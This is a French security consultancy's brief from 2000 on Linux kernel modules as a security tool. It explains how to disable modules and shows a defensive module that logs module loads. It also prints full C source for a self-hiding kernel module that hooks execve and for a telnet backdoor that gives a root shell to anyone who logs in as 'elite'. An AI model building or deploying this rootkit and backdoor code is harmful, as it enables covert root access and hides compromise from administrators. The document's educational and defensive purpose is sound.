HSC
Cabinet de consultants en sécurité informatique depuis 1989 - Spécialisé sur Unix, Windows, TCP/IP et Internet
Mode texte : accès au contenu de la page
Hervé Schauer Consultants
Vous êtes ici : Accueil > Ressources > Brèves > Modules : quel avantage pour la sécurité ?
Accéder au : Site HSC des formations
Recherche :  
English version
   Services   
o Domaines de compétences
o Conseil & Expertise
o Prestations ISO 27001
o Audit & Évaluation
o Tests d'intrusion
o Tests de vulnérabilités (TSAR)
o Analyse Forensique
o Certification ARJEL
o Formations
o E-learning
   Conférences   
o Agenda
o Interventions passées
o Tutoriels
   Ressources   
o Index thématique
o Brèves
o Présentations
o Cours
o Articles
o Outils (téléchargement)
o Veille en vulnérabilité
   Société   
o Hervé Schauer
o Equipe
o Offres d'emploi
o Références
o Historique
o Partenariats
o Associations
   Presse et
 communication
 
 
o Newsletter HSC
o Bulletin juridique HSC
o Revue de presse
o Communiqués de presse
o Publications
   Contacts   
o Coordonnées
o Requêtes particulières
o Accès à nos locaux
o Hôtels proches de nos locaux
|>|Modules : quel avantage pour la sécurité ?  

par Frédéric Lavécot (25/10/2000)




--[ Introduction

Cette brève est destinée à montrer que les modules peuvent aider 
l'administrateur système à sécuriser sa (ses) station(s).

Ce document est destiné à donner des exemples et à approfondir la partie
"Les avantages (des modules) pour l'administrateur" de la présentation :
"Les caractéristiques de Linux en sécurité" de Denis Ducamp : 
http://www.hsc.fr/ressources/presentations/linux2000/index.html.fr


--[ Rappels

Les modules permettent d'ajouter des fonctionnalités au noyau sans avoir à le 
recompiler ni avoir besoin de redémarrer le système.

Les modules se chargent et se déchargent dynamiquemment grâces aux commandes
insmod et rmmod. Il faut être root pour charger des modules donc une station
ne peut pas être compromise à cause des modules.

Les modules ne sont pas directement liés à la sécurité de la machine mais
s'éxécutant dans l'espace noyau du système, ils ont le contrôle total
de la machine. Cela leur permet de détourner les appels systèmes,
d'accéder à tous les fichier et de tuer tous les processus.

C'est pour cela qu'un attanquant prenant le controle d'un systeme peut 
devenir literralement invisible. 
Notamment grâce à un rootkit du style adore.
http://teso.scene.at/releases.php3

--[ Comment se proteger des modules ?

En compilant un noyau monolitique : c'est à dire : 
- sans modules (répondre Y ou N à toutes les options du noyau)
- sans le support module activé :
   Répondre N à Enable Module Support dans Loadable Module Support

[note : le document http://thc.pimmel.com/files/thc/LKM_HACKING.html explique
comment patcher un noyau et donc contourner l'impossibilité de charger des
modules]

En supprimant le privilège CAP_SYS_MODULE grâce au fichier 
/proc/sys/kernel/cap-bound. 
L'utilitaire lcap permet un accès aisé à ce fichier.
On trouve lcap à l'URL suivante :http://pweb.netcom.com/~spoon/lcap/
Les privilèges sont en dehors du cadre de cette brève mais sont trés bien
expliqués dans le document "Les caractéristiques de Linux en sécurité" de
Denis Ducamp : 
http://www.hsc.fr/ressources/presentations/linux2000/linux2000.html.fr


--[ Qu'est-il est possible de faire avec les modules pour se proteger ?

Tout ! Les modules font partie du noyau et peuvent prendre le contrôle,
altérer le fonctionnement ou observer l'état du système. Les modules peuvent
créer ou intercepter des appels systèmes.

La seule limite est l'imagination de l'administrateur

--[ Exemples

Intercepter l'appel système init_module qui est appelé lors du chargement 
d'un module. Cela permet à l'administrateur d'être prevenu si quelqu'un
essaye de charger un module.
(Un exemple d'un module réalisant cette interception est donné en fin 
de document).

Vérifier les paramètres de certains appels systèmes.

Journaliser toutes les commandes de certains utilisateurs.

Ajouter une fonction d'authentification pour certaines fonctions critiques
(chargement de module, passage en mode promiscuous, ...)

Il existe aussi quelques modules (déja ecrits) qui peuvent aider à 
sécuriser une station :

stealth.c : ce module (qui peut aussi être compilé à l'interieur du noyau)
permet de journaliser et de refuser tous les paquets qui arrivent avec des 
flags mal positionnés.
stealth.c se trouve à http://www.innu.org/~sean/sytek.htm

11logger (de antirez) : patch du noyau plus module qui permet de journaliser 
tous les signaux SIGSEGV (segmentation fault). Cela permet de repérer 
quelqu'un qui tente d'exploiter un debordemment de buffer sur sa machine.
11logger se trouve à http://www.kyuzz.org/antirez/sigsegv/

-----------------------------------------------------------------------------
Ici sont regroupés trois modules pour vous montrer ce qu'il est possible de 
faire avec les noyaux.

intercept.c : permet d'intercepter l'appel système init_module et d'envoyer
              un message au noyau à chaque fois qu'un module est inséré.

stealth.c : exemple de comment un module peut se cacher.

ex3.c : exemple de comment on peut obtenir un shell root a travers un telent.
 
_____________________________________________________________________________
intercept.c

/*
  Intercept the init_module() systemcall
  and send a message to the kernel
  
  written by Frederic Lavecot : frederic.lavecot@hsc.fr
  
  almost all of the source has been taken from : 

  How to intercept Syscalls in (nearly) Complete Linux Loadable Kernel Module
  by pragmatic / THC

  and 

  the adore root-kit
  by Stealth
  

  !!!! NO SMP SUPPORT !!!!

  By looking at the stealth module by Derek Callaway
  I guess adding these lines after the #include would do but I have no way
  to test this.

#ifdef __SMP__
#define SLOT_NUMBER() (cpu_number_map[smp_processor_id()]*2 + !in_interrupt())
#else
#define SLOT_NUMBER() (!in_interrupt())
#endif



  To compile :  

gcc -c -O2 -Wall -I/usr/src/linux/include -DMODVERSIONS <file>.c -o <file>.o

*/

#define MODULE 
#define __KERNEL__


#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>

#include <linux/malloc.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <sys/syscall.h>

#include <asm/uaccess.h>
#include <linux/smp_lock.h>

#include <asm/segment.h>


extern void* sys_call_table[];       /* sys_call_table is exported, so we
                                     can access it */               

int (*orig_syscall)(const char *name_user, struct module *mod_user); 
/* the original systemcall */



/*
 * Copy the name of a module from user space.
 */

/* from the /usr/src/linux/kernel/module.c file that comes with the kernel */

static inline long
get_mod_name(const char *user_name, char **buf)
{
	unsigned long page;
	long retval;

	if ((unsigned long)user_name >= TASK_SIZE
	    && !segment_eq(get_fs (), KERNEL_DS))
		return -EFAULT;

	page = __get_free_page(GFP_KERNEL);
	if (!page)
		return -ENOMEM;

	retval = strncpy_from_user((char *)page, user_name, PAGE_SIZE);
	if (retval > 0) {
		if (retval < PAGE_SIZE) {
			*buf = (char *)page;
			return retval;
		}
		retval = -ENAMETOOLONG;
	} else if (!retval)
		retval = -EINVAL;

	free_page(page);
	return retval;
}


int hacked_syscall(const char *name_user, struct module *mod_user)
{
  char *name;
  long namelen;

  printk(KERN_INFO "\n\n!! LOADING A MODULE !!\n");
  if ((namelen = get_mod_name(name_user, &name)) < 0)
    {
      printk(KERN_INFO "!! Could not read module name\n");
    }
  else
    {
      printk(KERN_INFO "!! Module %s loaded\n",name);
    }
  
  /* 
     Do anything you want like :
     send a packet to a remote station
     send a message to the kernel 
     send a signal to a process ...
     add an authentication function     

     BUT be carefull you are in kernel space !
  */

  return orig_syscall(name_user, mod_user);  
  /*don't forget to call the original system-call*/

}

int init_module(void)                /*module setup*/
{
  struct module *m = &__this_module;

  orig_syscall=sys_call_table[SYS_init_module];
  sys_call_table[SYS_init_module]=hacked_syscall;
  
  printk(KERN_INFO "Module %s loaded\n",m->name);
  printk(KERN_INFO "Tracing init_module systemcalls\n");
 
  return 0;
}

int cleanup_module(void)            /*module shutdown*/
{
  sys_call_table[SYS_init_module]=orig_syscall; 
  /*set back the original systemcall */
  printk("Systemcall tracing Terminated\n");
  return 0;

}


------------------------------------------------------------------------------
stealth.c

/*** A kernel-module for 2.2 kernels, hiding itself.
 *** It was easier in 2.0 kernels and i found all the old
 *** techniqes not to work. So i invented new one. ;-)
 *** (C) 1999/2000 by Stealth.
 *** All under the GPL. SO YOU USE IT AT YOUR OWN RISK.
 *** http://www.kalug.lug.net/stealth
 ***
 *** Greets to all my friends, you know who you are.
 ***/
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#include <asm/uaccess.h>
#include <linux/mm.h>
#include <linux/smp_lock.h>
#ifndef NULL
#define NULL ((void*)0)
#endif

extern void *sys_call_table[];
int (*old_exec)(struct pt_regs regs);

int new_exec(struct pt_regs regs)
{
        int error = 0;
        char *filename;
        
        lock_kernel();
        filename = getname((char*)regs.ebx);
        error =  PTR_ERR(filename);
        if (IS_ERR(error))
           	goto out;
        
        printk("Hi, the hook is still installed. ;-)\n");
	error = do_execve(filename, (char**)regs.ecx, (char**)regs.edx, ®s);
	putname(filename);
out:
	unlock_kernel();
	return error;
}


int init_module()
{
   	int i = 0;
        struct module *m = &__this_module, *lastm = NULL,
	              *to_delete = NULL;
	
        EXPORT_NO_SYMBOLS;
        
        /* install hook */
        old_exec = sys_call_table[__NR_execve];
        sys_call_table[__NR_execve] = new_exec; 
        
        /* get next module-struct */
	to_delete = m->next;
	if (!to_delete) {
		printk("No module found for exchange }|-(\n");
		return 0;
	}
        
        /* and steal all information about it */
	m->name = to_delete->name;
	m->size = to_delete->size;
	m->flags = to_delete->flags;
	        
        /* even set the right USE_COUNT */
        for (i = 0; i < GET_USE_COUNT(to_delete); i++)	
		MOD_INC_USE_COUNT;
	
        /* and drop the attacked module from the list 
         * this won't delete it but makes it disapear for lsmod
         */
        m->next = to_delete->next;
        
	printk("The following modules are visible now:\n");
	while (m) {
		printk("%s\n", m->name);
		m = m->next;
	}
        printk("Tzzz... (sleeping)\n");
        return 0;
}

int cleanup_module()
{
   	sys_call_table[__NR_execve] = old_exec;
   	return 0;
}

------------------------------------------------------------------------------
ex3.c

/*** LINUX 2.2.x & 2.0.x kernel based backdoor for special logins. (net-version)
 *** (C) 1999/2000 by Stealth <stealth@cyberspace.org>, 
 *** ### Use it at your own risk, for educational purposes only, ###
 *** under the GNU public license.
 ***
 *** Usage: (after cc -c -O2 ex3.c and the other things)
 ***
 *** [eve@evil]$ telnet victum.net
 *** Trying 66.66.66.66 ...
 *** Connecting to victum.net
 *** ...
 *** victum login:<elite>Connection closed by foreign host
 *** [eve@evil]$ telnet victum.net
 *** Trying 66.66.66.66 ...
 *** Connecting to victum.net
 *** 
 *** [root@victum]#	
 *** Voila!
 *** NOTE, that in the short gap of time between the 2 telnet's, _everyone_
 *** who telnet's to victum.net will get a rootshell!
 ***
 *** You should know, that it's possible to hide this module, so you
 *** cannot see it via 'lsmod'. I didn't implemented this to avoid 
 *** real-live testings by script-kiddiez.
 *** The module was tested on RH 5.1 with kernel 2.0.35 and 2.2.5
 *** and works well there.
 ***/
#define __KERNEL__
#define MODULE
#define S_KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))

#define ELITE "elite"
#define SHELL "/bin/bash"
#define LOGIN "/bin/login"
#define TELNETD "/usr/sbin/in.telnetd"

#include <linux/version.h>
#include <sys/syscall.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/sched.h>
#include <asm/segment.h>
#include <linux/mm.h>

#if LINUX_VERSION_CODE < S_KERNEL_VERSION(2,2,0)
#define OLD_KERNEL
#else
#include <asm/uaccess.h>
#endif

extern void *sys_call_table[];

/* this functions will we replace */
int (*o_read)(int, char*, int);
int (*o_execve)(struct pt_regs regs);
int (*o_exit)(int);

/* for the PID of in.telnetd */
int telnetd = -1;

/* will we go to supervisor mode ? */
int ok_give_her_a_shell = 0;

/* true if SHELL is not exec'ed */
int not_a_shell = 1;

/* 1st replaced systemcall */
int n_read(int fd, char *s, int len)
{
	int r = 0;
	static int howmuch = 0;
	static char elitelogin[100] = {0};
	
	/* call it as normal */
	r = o_read(fd, s, len);
		
	/* if this is called by in.telnetd AND from 'stdin' AND 
	 * we didn't already gave for this PID a shell AND she is unprivileged
	 */
	if (!fd && current->pid == telnetd && howmuch < 90 && 
	    not_a_shell && !ok_give_her_a_shell) {
#ifdef DEBUG
		printk("%d", howmuch);
#endif
		/* ignore first telnetproto-stuff; only fetch login */
		if (howmuch >= 6)
#ifdef OLD_KERNEL
			elitelogin[howmuch-6] = get_user(s);
#else
			get_user(elitelogin[howmuch-6], s);
#endif
		howmuch++;
	}	
	
	/* Do we got a login ? */
	if (howmuch >= 6+strlen(ELITE) && current->pid == telnetd) {
#ifdef DEBUG
		printk("%s\n", elitelogin);
#endif
		/* Is it our special one ? */
		if (strncmp(elitelogin, ELITE, strlen(ELITE)) == 0) {
#ifdef DEBUG
			printk("Ok, switching into elite-mode.\n");
#endif
			ok_give_her_a_shell = 1;
		}
		/* put us back to normal mode; next one can dialin ;-) */
		telnetd = -1;
		howmuch = 0;
		memset(elitelogin, 0, 100);
		
		/* quit in.telnetd */
		if (ok_give_her_a_shell)
			o_exit(0);
	}
	return r;
}
	
/* redirected execve() call */
int n_exec(struct pt_regs regs)
{
   	int error = 0;
        char *filename = NULL, *ar, **argv;
        

        /* get filename from user-space */ 
#ifdef OLD_KERNEL
        if ((error = getname((char*)regs.ebx, &filename)) != 0)
           	return error;
#else
        filename = getname((char*)regs.ebx);
#endif
        
	if (ok_give_her_a_shell && strncmp(filename, LOGIN, strlen(LOGIN)) == 0) {
#ifdef DEBUG
		printk("spawning a shell...\n");
#endif
		strcpy(filename, SHELL);
		
                argv = (char**)regs.ecx;
                
                /* set argv[1] to '\0' */
		put_user(0, argv + 1);
		
		/* go into SHELL-mode */
		not_a_shell = 0;
		
		error = do_execve(filename, (char**)regs.ecx, (char**)regs.edx, ®s);
		putname(filename);
#ifdef DEBUG
		printk("Ok, connection should be established...\n");
#endif
		
		/* after this, the strange if() above should give true for
		 * next session
		 */
		ok_give_her_a_shell = 0;
		telnetd = -1;
		not_a_shell = 1;
		return error;
	}
	
	/* look if telnetd is called */
	if (strncmp(filename, TELNETD, strlen(TELNETD)) == 0 && telnetd == -1) 
		telnetd = current->pid;
		
#ifdef DEBUG
	printk("execve(\"%s\") called\n", filename);
#endif
	/* execute as normal */
	error = do_execve(filename, (char**)regs.ecx, (char**)regs.edx, ®s);
	putname(filename);
	return error;
}


/* redirect the syscalls */
int init_module(void)
{
#ifdef OLD_KERNEL
   	register_symtab(NULL);
#else
	EXPORT_NO_SYMBOLS;
#endif
        o_execve = sys_call_table[__NR_execve];
        o_read = sys_call_table[__NR_read];
	o_exit = sys_call_table[__NR_exit];
	
	sys_call_table[__NR_execve] = (void*)n_exec;
	sys_call_table[__NR_read] = (void*)n_read;
        return 0;
}

int cleanup_module(void)
{
   	sys_call_table[__NR_execve] = o_execve;
	sys_call_table[__NR_read] = o_read;
        return 0;
}



Dernière modification le 30 mars 2006 à 19:25:17 CET - webmaster@hsc.fr
Informations sur ce serveur - © 1989-2013 Hervé Schauer Consultants